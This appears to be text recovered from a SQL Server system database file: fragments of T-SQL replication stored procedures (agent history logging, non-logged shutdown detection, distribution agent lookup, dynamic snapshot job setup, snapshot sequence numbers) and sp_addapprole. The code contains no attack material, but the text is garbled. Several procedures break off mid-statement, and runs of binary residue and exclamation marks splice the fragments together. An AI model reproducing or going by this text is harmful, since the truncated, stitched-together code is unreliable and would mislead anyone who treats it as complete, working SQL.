						AND (sysjh.run_date > sys.fn_replsubtractkomododuration(agnts.time, sysjh.run_duration, 0)
								OR (sysjh.run_date = sys.fn_replsubtractkomododuration(agnts.time, sysjh.run_duration, 0)
									AND sysjh.run_time >= sys.fn_replsubtractkomododuration(agnts.time, sysjh.run_duration, 1)))
			WHERE sysjh.instance_id IN (SELECT MAX(instance_id)
										FROM msdb..sysjobhistory sysjh2 WITH (NOLOCK)
										WHERE sysjh2.job_id = agnts.job_id
											AND (sysjh2.run_date > sys.fn_replsubtractkomododuration(agnts.time, sysjh2.run_duration, 0)
												OR (sysjh2.run_date = sys.fn_replsubtractkomododuration(agnts.time, sysjh2.run_duration, 0)
													AND sysjh2.run_time >= sys.fn_replsubtractkomododuration(agnts.time, sysjh2.run_duration, 1)))
											AND sysjh2.run_status NOT IN (4)) -- In Progress

	OPEN #cr_jobhistory
	
	FETCH #cr_jobhistory INTO @type, @agent_id, @job_name, @komodo_runstatus, @retries_attempted, @message

	WHILE @@FETCH_STATUS <> -1
	BEGIN
		-- Map KOMODO runstatus to Replication RunStatus
		SELECT @repl_runstatus = CASE @komodo_runstatus
										WHEN @KOMODO_FAILED 	THEN @REPL_FAILED		-- Failed
										WHEN @KOMODO_SUCCEEDED 	THEN @REPL_SUCCEEDED	-- Succeeded
										WHEN @KOMODO_RETRY 		THEN @REPL_FAILED		-- Retry
										WHEN @KOMODO_CANCEL 	THEN @REPL_SUCCEEDED	-- Canceled
										ELSE @REPL_INPROG								-- In progress
									END
		
		-- In the retry case we must change the message so 
		-- the UI can display something meaningfull...
		IF @komodo_runstatus = @KOMODO_RETRY
		BEGIN
			-- Agent '%s' is retrying after an error. %d retries attempted. See agent job history in the Jobs folder for more details.
			SELECT @message = FORMATMESSAGE(18856, @job_name, @retries_attempted)
		END
		
		IF @type = @LOGREADER_AGENT
		BEGIN
			EXEC @retcode = sys.sp_MSadd_logreader_history @agent_id = @agent_id,
														@runstatus = @repl_runstatus,
														@comments = @message,
														@perfmon_increment = 0,
														@update_existing_row = 0,
														@do_raiserror = 0
			IF @@ERROR <> 0 AND @retcode <> 0
				GOTO FAILURE
		END
		ELSE IF @type = @DISTRIB_AGENT
		BEGIN
			EXEC @retcode = sys.sp_MSadd_distribution_history @agent_id = @agent_id,
													@runstatus = @repl_runstatus,
													@comments = @message,
													@perfmon_increment = 0,
													@update_existing_row = 0,
													@do_raiserror = 0
			IF @@ERROR <> 0 AND @retcode <> 0
				GOTO FAILURE
		END

		FETCH #cr_jobhistory INTO @type, @agent_id, @job_name, @komodo_runstatus, @retries_attempted, @message
	END

	CLOSE #cr_jobhistory
	DEALLOCATE #cr_jobhistory

	-- we release the applock at this point because 
	-- the remaining steps will not be affected by
	-- any type of name collisions etc...
    EXEC !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(M	O:vIcreate procedure sys.sp_MSdetect_nonlogged_shutdown
(
    @subsystem nvarchar(60),
    @agent_id int
)
as
begin
    declare @job_id binary(16)
    declare @agent_name sysname
    declare @message nvarchar(2048)
    declare @retcode int
    declare @runstatus int
    declare @run_date int
    declare @run_time int
    declare @run_date_orig int
    declare @run_time_orig int
    declare @merge_session_id int
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    -- Detect if the agent was shutdown without a logged reason
    if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'SNAPSHOT'
    begin
        if exists (select runstatus from MSsnapshot_history where 
            agent_id = @agent_id and
            runstatus <> 2 and 
--CAC       runstatus <> 5 and 
            runstatus <> 6 and
            timestamp = (select max(timestamp) from MSsnapshot_history where agent_id = @agent_id))
            begin
                select @job_id = job_id, @agent_name = name from MSsnapshot_agents where id = @agent_id
            end
    end
    else if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'LOGREADER'
    begin
        if exists (select runstatus from MSlogreader_history where 
            agent_id = @agent_id and
            runstatus <> 2 and 
--CAC           runstatus <> 5 and 
            runstatus <> 6 and
            timestamp = (select max(timestamp) from MSlogreader_history where agent_id = @agent_id))
            begin
                select @job_id = job_id, @agent_name = name from MSlogreader_agents where id = @agent_id
            end
    end
    else if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'DISTRIBUTION'
    begin
        if exists (select runstatus from MSdistribution_history where 
            agent_id = @agent_id and
            runstatus <> 2 and 
--CAC           runstatus <> 5 and 
            runstatus <> 6 and
            timestamp = (select max(timestamp) from MSdistribution_history where agent_id = @agent_id))
            begin
                select @job_id = job_id, @agent_name = name from MSdistribution_agents where id = @agent_id
            end
    end
    else if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'MERGE'
    begin
        if exists (select runstatus from dbo.MSmerge_sessions where 
            agent_id = @agent_id and
            runstatus <> 2 and 
--CAC           runstatus <> 5 and 
            runstatus <> 6 and
            session_id = (select top 1 session_id from dbo.MSmerge_sessions where agent_id = @agent_id order by session_id desc))
            begin
                select @job_id = job_id, @agent_name = name from dbo.MSmerge_agents where id = @agent_id
                
                select top 1 @merge_session_id = session_id from dbo.MSmerge_sessions 
				where agent_id = @agent_id 
				order by session_id desc
            end
    end
    else if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'QUEUEREADER'
    begin
        if exists (select runstatus from MSqreader_history where 
            agent_id = @agent_id and
            runstatus <> 2 and 
--CAC       runstatus <> 5 and 
            runstatus <> 6 and
            timestamp = (select max(timestamp) from MSqreader_history where agent_id = @agent_id))
            begin
                select @job_id = job_id, @agent_name = name from MSqreader_agents where id = @agent_id
            end
    end

    -- If no job_id assume shutdown was logged properly
    if @job_id is null
        return 0

    -- Get last message from SQL Agent History table
    create table #JobHistory (
        instance_id int NOT NULL, 
        job_id uniqueidentifier NOT NULL,
        job_name sysname NOT NULL,
        step_id int NOT NULL,
        step_name nvarchar(100) NOT NULL, 
        sql_message_id int NOT NULL,
        sql_severity int NOT NULL,
        message nvarchar(1024) NOT NULL,
        run_status int NOT NULL,
        run_date int NOT NULL,
        run_time int NOT NULL,
        run_duration int NOT NULL,
        operator_emailed sysname NULL,
        operator_netsent sysname NULL,
        operator_paged sysname NULL,
        retries_attempted int NOT NULL,
        server sysname NOT NULL
    )
    if @@error <> 0
        return 1

    -- Insert last history for step_id 2 (Agent running)
    insert TOP(2) into #JobHistory exec sys.sp_MSreplhelp_jobhistory @job_id = @job_id, @step_id = 2, 
        @mode = 'FULL'          


	declare cursorHistory cursor local fast_forward for
    	select message, 
    			run_status,
    			run_date,
    			run_time
    		from #JobHistory
    		order by run_date desc, 
    				run_time desc, 
    				instance_id asc
    
    open cursorHistory

    fetch cursorHistory into @message, @runstatus, @run_date, @run_time

    select @run_date_orig = @run_date, 
 			@run_time_orig = @run_time
 				
    while @@fetch_status <> -1
    begin  	
    	-- as long as we are looking at the history for the same run 
    	-- date and time then we should log all rows. there should 
    	-- be 2 rows since we perform a TOP on exec sp_help_jobhistory
		if @run_date_orig = @run_date
 			and @run_time_orig = @run_time
		begin
		    -- Map SQL Agent runstatus to Replication runstatus
		    set @runstatus = 
		    case @runstatus
		        when 0 then 6   -- Fail mapping
		        when 1 then 2   -- Success mapping
		        when 2 then 5   -- Retry mapping
		        when 3 then 2   -- Shutdown mapping
		        when 4 then 3   -- Inprogress mapping
		        when 5 then 0   -- Unknown is mapped to never run
		    end

		    -- If no message, provide a default message
			-- Also overwrite all inprogress messages to be "See SQL Agent history log".
			-- This is to prevent "Agent running. See monitor" to be logged into repl monitor.
			-- In this case (the last job history message is InProgress), we know that
			-- there have been failures of SQL Server Agent history logging.
			-- In fact, the only possible "in progress" msg in SQL Agent job step
			-- history for push jobs is "Agent running. See monitor". It is confusing that those
			-- messages showed up in repl monitor.
		    if @message is null or @runstatus = 3
		    begin
		        raiserror(20557, 10, -1, @agent_name)
		        select @message = formatmessage(20557, @agent_name)
		    end

		    if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'SNAPSHOT'
		        exec @retcode = sys.sp_MSadd_snapshot_history @agent_id = @agent_id, @runstatus = @runstatus,
		                @comments = @message
		    else if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'LOGREADER'
		        exec @retcode = sys.sp_MSadd_logreader_history @agent_id = @agent_id, @runstatus = @runstatus,
		                @comments = @message
		    else if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'DISTRIBUTION'
		        exec @retcode = sys.sp_MSadd_distribution_history @agent_id = @agent_id, @runstatus = @runstatus,
		                @comments = @message
		    else if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'MERGE'
				exec @retcode = sys.sp_MSadd_merge_history @agent_id = @agent_id, @runstatus = @runstatus,
		                @comments = @message, @called_by_nonlogged_shutdown_detection_agent = 1, @session_id_override = @merge_session_id
		    else if UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'QUEUEREADER'
		        exec @retcode = sys.sp_MSadd_qreader_history @agent_id = @agent_id, @runstatus = @runstatus,
		                @comments = @message

		    if @@error <> 0 or @retcode <> 0
		        return 1
		end

		fetch cursorHistory into @message, @runstatus, @run_date, @run_time
	end

	close cursorHistory
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N	zJ>vCREATE PROCEDURE sys.sp_MShelp_distribution_agentid
(
    @publisher_id smallint,
    @publisher_db sysname,
    @publication sysname = NULL,
    @subscriber_id smallint,
    @subscriber_db sysname,
    @subscription_type int, /* 0 = push 1 = pull 2=anonymous, */
    -- For anonymous only
    @subscriber_name    sysname = NULL,
    @anonymous_subid    uniqueidentifier = NULL,
    @reinitanon         bit = 0
)
as
begin
    set nocount on

    declare @independent_agent bit
    declare @xact_seqno_length int
    declare @agent_id int
    declare @third_party_flag bit
    declare @retcode int
    declare @anonymous int
    declare @sub_agent_id int
    declare @allow_subscription_copy bit
    declare @immediate_sync bit
    declare @endraiserror bit

    select @anonymous 		= 2
    select @endraiserror 	= 0
    
	if @publication is null
		select @independent_agent = 0
	else
		select @independent_agent = 1

    select  top 1
        @third_party_flag = thirdparty_flag,
		@allow_subscription_copy = allow_subscription_copy,
		@immediate_sync = immediate_sync
        from dbo.MSpublications where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
		publication = @publication or 
		(@publication is null and independent_agent = 0)

	-- Get agent id
	if @subscription_type = @anonymous
    begin
        exec @retcode = sys.sp_MSadd_anonymous_agent
            @publisher_id   = @publisher_id,
            @publisher_db   = @publisher_db,
            @publication    = @publication,
            @subscriber_db  = @subscriber_db,
            @subscriber_name = @subscriber_name,
            @anonymous_subid =  @anonymous_subid output,
            @agent_id = @agent_id output,
            @reinitanon = @reinitanon
        if @@error <> 0 or @retcode <> 0
            return (1)

		-- Refer to sp_MSget_subscription_guid
        select @sub_agent_id = virtual_agent_id from
            MSdistribution_agents where
            id = @agent_id
    end 
    else
    begin
        select @agent_id = id
        from MSdistribution_agents where
             publisher_id = @publisher_id and
             publisher_db = @publisher_db and
             (publication = @publication or
             (@publication is null and publication = N'ALL')) and
             subscription_type = @subscription_type and
             subscriber_id = @subscriber_id and
             subscriber_db = @subscriber_db

		-- If cannont find the agent entry, ignore @subscriber_db and try again 
		-- for non SQL subscribers
		-- Note that this preserved backward compatibility for 7.0 publisher, 7.0 pull distribution agent or 6.5 pub.
		-- In 7.0, we hard code name 'DSN'.
		-- In 6.5 pub, the db name is real database name.
		-- In 8.0, distribution agent sends in unlocalized '(default destination)' as default db name for 
		-- non SQL subscribers..
		if @agent_id is null 
		begin
			declare @publisher sysname
			declare @subscriber sysname
			select @publisher = srvname from master.dbo.sysservers where
				srvid = @publisher_id
			select @subscriber = srvname from master.dbo.sysservers where
				srvid = @subscriber_id
			if exists (select * from MSsubscriber_info where
				publisher = @publisher and
				subscriber = @subscriber and
				type <> 0)
			begin
				select @agent_id = id
				from MSdistribution_agents where
					 publisher_id = @publisher_id and
					 publisher_db = @publisher_db and
					 (publication = @publication or
					 (@publication is null and publication = N'ALL')) and
					 subscription_type = @subscription_type and
					 subscriber_id = @subscriber_id 
			end
		end

        select @sub_agent_id = @agent_id
    end

	-- If the agent id is still null here we have a problem and must either 
	-- raiserror and exit or perform more processing and do a deferred raiserror
	if @agent_id is null
    begin
		-- If cannot find the publication and the agent, raise
		--  error saying invalid publication.
		-- 
		-- Note: 
		-- We can not fail if publication not exists but agent 
		-- exists It is an upgrade case. 
		if @third_party_flag is null
		begin
			-- The publication(s) does not exist just exit completely
		    RAISERROR (21073, 16, -1)
		    return(1)
		end
		
		-- Set flag to perform the deferred raiseerror at the end of the proc
		select @endraiserror = 1

		-- Attempt to retrieve the agent id for the invalid subscription or the 
		-- subscription whose publication does not allow independednt agents
		-- this will allow our agents to continue on and log history information
		select top 1 @agent_id = agent_id
			from dbo.MSpublications mp,
					MSsubscriptions ms
        	where mp.publication				= @publication	
					and mp.publisher_id 		= @publisher_id 
					and	mp.publisher_db 		= @publisher_db
					and ms.publisher_id 		= mp.publisher_id
					and	ms.publisher_db 		= mp.publisher_db
					and ms.subscription_type 	= @subscription_type
					and ms.subscriber_id 		= @subscriber_id 
					and ms.subscriber_db 		= @subscriber_db

		-- without the agent id we can not continue but must still raiserror
		if @agent_id is null
		begin
			goto EndRaiseError
		end

		select @sub_agent_id = @agent_id
    end

	-- Reset null properties
    -- It is an upgrade case.
    if @third_party_flag is null 
        select @third_party_flag = 0
	if @allow_subscription_copy is null
		select @allow_subscription_copy = 0

	/*
	** Get the time when the subscription is active and succeed.
	*/
	/*
	select Top 1 @last_status=runstatus, @last_sync = time from MSdistribution_history 
		where agent_id = @agent_id order by timestamp DESC
	
	if @last_status = 6 and EXISTS (select * from MSdistribution_history where agent_id = @agent_id and runstatus = @success) 
        		select Top 1 @last_sync = time from MSdistribution_history where agent_id = @agent_id and runstatus = @success
        				order by timestamp DESC	

    if @last_sync is not NULL and @independent_agent = 1 --by pass the retention check for non-independent agnt
	begin
    	if (@last_sync < dateadd(hour, -@retention, getdate()))
           and (@retention <> 0)
 				select @expired = 1 
	end
	*/
 /* 
    ** Avoid returning a NULL value 
    ** Otherwise, distribution agent may fail
    */
    select @xact_seqno_length = 0

    /* 
    **  Get the lengh of xact_seqno
    **   Currently, unique across the publisher
    */
    select top 1 @xact_seqno_length = DATALENGTH(subscription_seqno)
    from dbo.MSsubscriptions s where
        agent_id = @sub_agent_id
        
    /* xact_seqno for snapshot trans are longer for native publishers*/
    if @third_party_flag = 0
    begin
        select @xact_seqno_length = 14
    end

    -- Security check. Do it here to let the agent fail at the beginning
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_id = @sub_agent_id,
        @agent_type = 0 -- distribution agent
    if @@error <> 0 or @retcode <> 0
        return (1)
	
	-- Get update_mode
	declare @update_mode int
	
	-- Use max because:
	-- One agent can have mixed read only (0) and synctran (1) subscriptions. 
	-- The update mode value
	-- is used in subscriber triggers. It is ok to set update mode to synctran
	-- in mixed case because the triggers will not be create for read only.
	-- Queued mode require independent agent.
	select @update_mode = max(update_mode) from dbo.MSsubscriptions where
		agent_id = @agent_id
	
	-- For anonymous agents, update_mode is read only.
	if @update_mode is null
		set @update_mode = 0

	-- Get attach_version guid
	declare @attach_version binary(16)
	if @allow_subscription_copy <> 0
	begin
		declare @publication_id int
		declare @virtual_agent_id int
		declare @virtual smallint
		set @virtual = -1

		-- Get publication_id
		select @publication_id = publication_id
			from dbo.MSpublications where
			publish!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(O	$vm--
-- Name: sp_MSadddynamicsnapshotjobatdistributor
--
-- Description: This function is called by sp_MSaddmergedynamicsnapshotjob 
--              at the publisher to set up a dynamic snapshot job in msdb
--              at the distributor. 
-- Notes: This procedure will only perform implicit checking for scheduling 
--        parameters as most parameters are expected to have been checked 
--        in sp_MSaddmergedynamicsnapshotjob
--
-- Parameters: @regular_snapshot_jobid uniqueidentifier (mandatory)
--             @dynamic_filter_login sysname (optional, default null)
--             @dynamic_filter_hostname sysname (optional, default null)
--             @dynamic_snapshot_location nvarchar(255) (mandatory)
--             @dynamic_snapshot_jobid uniqueidentifier (mandatory)
--             Scheduling information:
--             @freqtype int (optional, default 4 == Daily)
--             @freqinterval int (optional, default 1 == Every day)
--             @freqsubtype int (optional, default 4 (Sub interval = Minute))
--             @freqsubinterval int (optional, default 5 == Every five minutes)
--             @freqrelativeinterval int (optional, default 1) 
--             @freqrecurrencefactor int (optional, default 0) 
--             @activestartdate int (optional, default 0 == Today)
--             @activeenddate int (optional, default 99991231) 
--             @activestarttimeofday int (optional, default 0 == Now)        
--             @activeendtimeofday int (optional, default 235959)
--             @partition_id int (optional, default null)
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: Only members of the 'sysadmin' server role and members of the 
--           'db_owner' database role at the distributor can call this 
--           procedure. This procedure is intended to be called through 
--           the distributor_admin remote login in the case where
--           the distributor is a different machine from the publisher. 
--
create procedure sys.sp_MSadddynamicsnapshotjobatdistributor 
(
    @regular_snapshot_jobid uniqueidentifier,
    @dynamic_filter_login sysname = null,
    @dynamic_filter_hostname sysname = null,
    @dynamic_snapshot_location nvarchar(255),
    @dynamic_snapshot_jobname nvarchar(100) output,
    @dynamic_snapshot_jobid uniqueidentifier output,
    @dynamic_snapshot_job_step_uid uniqueidentifier output,

    -- Scheduling information
    @freqtype               INT          = 2, -- 2 means OnDemand
    @freqinterval           INT          = 1,
    @freqsubtype            INT          = 1,
    @freqsubinterval        INT          = 1,
    @freqrelativeinterval   INT          = 1,
    @freqrecurrencefactor   INT          = 1,
    @activestartdate        INT          = 0,
    @activeenddate          INT          = 0,
    @activestarttimeofday   INT          = 0,
    @activeendtimeofday     INT          = 0,
    @dynamic_snapshot_agent_id int = NULL output,
    @partition_id           INT          = NULL
)
as
begin
    set nocount on

    declare @retcode int
    declare @agent_command_line nvarchar(4000)
    declare @agent_id int
    declare @db_name sysname    
    declare @category_name sysname
    declare @nullchar nchar(20)
    declare @publisher_id int
    declare @publication sysname
    declare @publisher_db sysname
    declare @publication_type int
    declare @local_job bit
    declare @profile_id int
    declare @dynamicfilterloginparam nvarchar(50)
    declare @dynamicfilterhostnameparam nvarchar(50)
    declare @dynamicsnapshotlocationparam nvarchar(50)
    declare @proxy_id int
    declare @publisher_security_mode int
    declare @publisher_login sysname
    declare @publisher_password nvarchar(524)
    declare @next_agent_id int
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadddynamicsnapshotjobatdistributor', 'distribution')
        return (1)
    end

    select @retcode = 0
    select @agent_command_line = null
    select @agent_id = null
    select @db_name = db_name()
    select @category_name = name 
      from msdb.dbo.syscategories 
     where category_id = 15
    select @nullchar = null

    select @dynamicfilterloginparam = N' -DynamicFilterLogin '
    select @dynamicfilterhostnameparam = N' -DynamicFilterHostName '
    select @dynamicsnapshotlocationparam = N' -DynamicSnapshotLocation '

    -- Get the regular snapshot agent command line
    select @agent_command_line = command,
    		@proxy_id = proxy_id
      from msdb.dbo.sysjobsteps
     where job_id = @regular_snapshot_jobid
       and subsystem = N'Snapshot'
       and step_id = 2
        
    if @agent_command_line is null
    begin
        raiserror(21319, 11, -1)        
        return 1        
    end  
    
    -- Get the publication details from the agent for regular snapshot  
    select @agent_id = id,
           @publisher_id = publisher_id,
           @publication = publication,
           @publisher_db = publisher_db,
           @publication_type = publication_type,
           @local_job = local_job,
           @profile_id = profile_id,
           @publisher_security_mode = publisher_security_mode,
           @publisher_login = publisher_login,
           @publisher_password = publisher_password
      from MSsnapshot_agents
     where job_id = @regular_snapshot_jobid

    if @agent_id is null
    begin
        raiserror(21325, 11, -1)
        return 1
    end

    if @local_job = 0
    begin
        raiserror(21325, 11, -1)
        return 1
    end

    if @publication_type <> 2
    begin
        raiserror(20654, 16, -1)
        return 1
    end

    if @dynamic_filter_login is NULL and @dynamic_filter_hostname is NULL
    begin
        raiserror(20653, 16, -1)
        return 1
    end


    BEGIN TRAN

    -- need to do this so that ident_current does not change after the read and insert
    select @next_agent_id = IDENT_CURRENT('MSsnapshot_agents') + 1

    if @dynamic_snapshot_jobname is null or @dynamic_snapshot_jobname = N''
    begin
        -- Get the job name of the regular snapshot job. This is going to be used
        -- to derive a uniquefied job name for the dynamic snapshot job
        select @dynamic_snapshot_jobname = name 
          from msdb.dbo.sysjobs 
         where job_id = @regular_snapshot_jobid
    
        --select @dynamic_snapshot_jobname = N'dyn_' + left(@dynamic_snapshot_jobname,88) + convert(nvarchar(36), newid()) 
        select @dynamic_snapshot_jobname = N'dyn_' + left(@dynamic_snapshot_jobname,80) + '_' +
                                            left(isnull(@dynamic_filter_login,''), 16) + '_' +
                                            left(isnull(@dynamic_filter_hostname,''), 16) + '_' +
                                            convert(nvarchar(8), @next_agent_id)
    end

    -- the dynamic snapshot job should have different agent id other than the regular snapshot job
    -- so create an agent id if one does not exist
    if not exists (select * from MSsnapshot_agents where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication and
        ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
        ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname))
    begin
        /* 
        ** Insert row
        */
        INSERT INTO MSsnapshot_agents (name, publisher_id, publisher_db, !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<P	e{0oD@ 8CREATE PROCEDURE sys.sp_MSset_snapshot_xact_seqno
(
    @publisher_id int,
    @publisher_db sysname,
    @article_id int, 
    @xact_seqno varbinary(16),
    @reset bit = 0,         /* @reset = 1 is used for Scheduled Snapshot publications by snapshot */
    @publication sysname = NULL,
    @publisher_seqno varbinary(16) = 0x00,
    @ss_cplt_seqno varbinary(16) = NULL
    /* 
    ** Required for 6x publishers!
    */
)
AS
begin
    DECLARE @virtual smallint     /* const: virtual subscriber id */
    DECLARE @virtual_anonymous smallint /* const: virtual anonymous subscriber id */
    DECLARE @old_xact_seqno varbinary(16)
    DECLARE @old_publisher_seqno varbinary(16)
    DECLARE @subscribed tinyint
    DECLARE @automatic tinyint
    DECLARE @old_snapshot_seqno_flag bit
    DECLARE @publication_id int
    DECLARE @initiated tinyint
    DECLARE @publisher_database_id int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    SELECT @publisher_database_id = id
      FROM dbo.MSpublisher_databases
     WHERE publisher_db = @publisher_db
       AND publisher_id = @publisher_id

    SELECT @virtual = -1
    SELECT @virtual_anonymous = -2
    SELECT @subscribed = 1
    SELECT @automatic = 1
    SELECT @initiated = 3
	
	if @ss_cplt_seqno is null 
	begin
		select @ss_cplt_seqno = @xact_seqno;
	end

    -- 6.5 only!!! @publication is not null only if the publisher is 6.5 sever!
    -- Set the publication_id and sync_type in dbo.MSsubscriptions.
    -- It will be used in sp_MSupdate_subscriptions 
    IF @publication IS NOT NULL
    BEGIN
        -- Get the publication id
        SELECT @publication_id = publication_id FROM dbo.MSpublications
            WHERE   publisher_id = @publisher_id AND
                    publisher_db = @publisher_db AND    
                    publication  = @publication

        -- Set the pubid and the sync_type
        -- Avoid update rows with no change to reduce update locks.
        
        UPDATE dbo.MSsubscriptions SET publication_id = @publication_id
          FROM dbo.MSsubscriptions with (index(iMSsubscriptions))
            WHERE   publisher_id = @publisher_id AND
                    publisher_database_id = @publisher_database_id AND    
                    article_id  = @article_id and
                    status = @subscribed and
                    publication_id <> @publication_id
        
        -- Have to do this to avoid no sync subs from 6.5 publisher being
        -- updated.
        UPDATE dbo.MSsubscriptions SET sync_type = @automatic
          FROM dbo.MSsubscriptions with (index(iMSsubscriptions)) 
            WHERE   publisher_id = @publisher_id AND
                    publisher_database_id = @publisher_database_id AND    
                    article_id  = @article_id and
                    status = @subscribed and
                    sync_type <> @automatic
    END

    begin tran
    save TRANSACTION MSset_snapshot_xact_seqno

    /* 
    ** Set snapshot_xact_seqno for all new subscriptions,
    ** plus the virtual subscription or all subscriptions if @reset = 1
    ** Note virtual anonymous subscription will not be set
    ** (2 virtual subscriptions of anonymous publication will be activated
    ** immediately without snapshot
    ** 
    ** @reset = 1 is used for Scheduled Snapshot publications by snapshot
    */
    UPDATE dbo.MSsubscriptions SET subscription_seqno = @xact_seqno,
        publisher_seqno = @publisher_seqno,
        snapshot_seqno_flag = 1,
        subscription_time = getdate(),
		ss_cplt_seqno = @ss_cplt_seqno
      FROM dbo.MSsubscriptions with (index(iMSsubscriptions))
      WHERE 
         dbo.MSsubscriptions.publisher_id = @publisher_id and
         dbo.MSsubscriptions.publisher_database_id = @publisher_database_id and
         dbo.MSsubscriptions.article_id = @article_id and 
         /* virtual subscriptions are automatic sync type */
         dbo.MSsubscriptions.sync_type = @automatic and 
         (MSsubscriptions.status in(@subscribed,@initiated) or 
         dbo.MSsubscriptions.subscriber_id = @virtual or
         -- Set for virtual anonymous account if snapshot_seqno_flag
         -- is 0.
         -- The virtual anonymous account is activated immediately at subscription
         -- time for no init option for anonymous agent.
         (MSsubscriptions.subscriber_id = @virtual_anonymous and 
         (MSsubscriptions.snapshot_seqno_flag = 0 or 
		 dbo.MSsubscriptions.status in(@subscribed,@initiated))) or
         @reset = 1) 

    IF @@ERROR <> 0
    BEGIN
        if @@trancount > 0
        begin
            ROLLBACK TRANSACTION MSset_snapshot_xact_seqno
            commit tran
        end
        RETURN (1)
    END

    COMMIT TRANSACTION
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`%
9<Q		1*
0_ 8create procedure sys.sp_addapprole
    @rolename   sysname,        -- name of new app role
    @password   sysname         -- password for app role
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,    -- return value of sp call
			@stmtR		nvarchar(4000),
			@stmtS		nvarchar(4000)
			
	-- CHECK FOR NULL PASSWORD
	if (@password is null)
	begin
		raiserror(15034,-1,-1)
		return (1)
	end

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_addapprole')
		return (1)
	end

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

	-- create statement to create application role
	set @stmtR = 'create application role '
	set @stmtR = @stmtR + quotename(@rolename, ']')
	set @stmtR = @stmtR + ' with password = '
	set @stmtR = @stmtR + quotename(@password, '''')
	set @stmtR = @stmtR + ', default_schema = '
	set @stmtR = @stmtR + quotename(@rolename, ']')

	-- Create Schema if not one exists with same name and owner
	set @stmtS = 'create schema '
	set @stmtS = @stmtS + quotename(@rolename, ']')
	set @stmtS = @stmtS + ' authorization '
	set @stmtS = @stmtS + quotename(@rolename, ']')
	
	BEGIN TRANSACTION

    -- issue DDL to create the role --
	exec (@stmtR)	
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		return (1)
	end

	-- create the Schema if not one exists with same name and owner
	declare @schema_uid int
	declare @owner_uid  int
	select @owner_uid  = principal_id from sys.database_principals where name = @rolename
	select @schema_uid = principal_id from sys.schemas where name = @rolename
	if (@schema_uid is null or		-- there is no schema since if there is one, it will have an owner
		@schema_uid <> @owner_uid)  -- for error message
	begin
		exec (@stmtS)
		if @@error <> 0
		begin
			ROLLBACK TRANSACTION
			return (1)
		end
	end

	COMMIT TRANSACTION

    -- RETURN SUCCESS --
    return (0) -- sp_addapprole
0. D8?ih		1
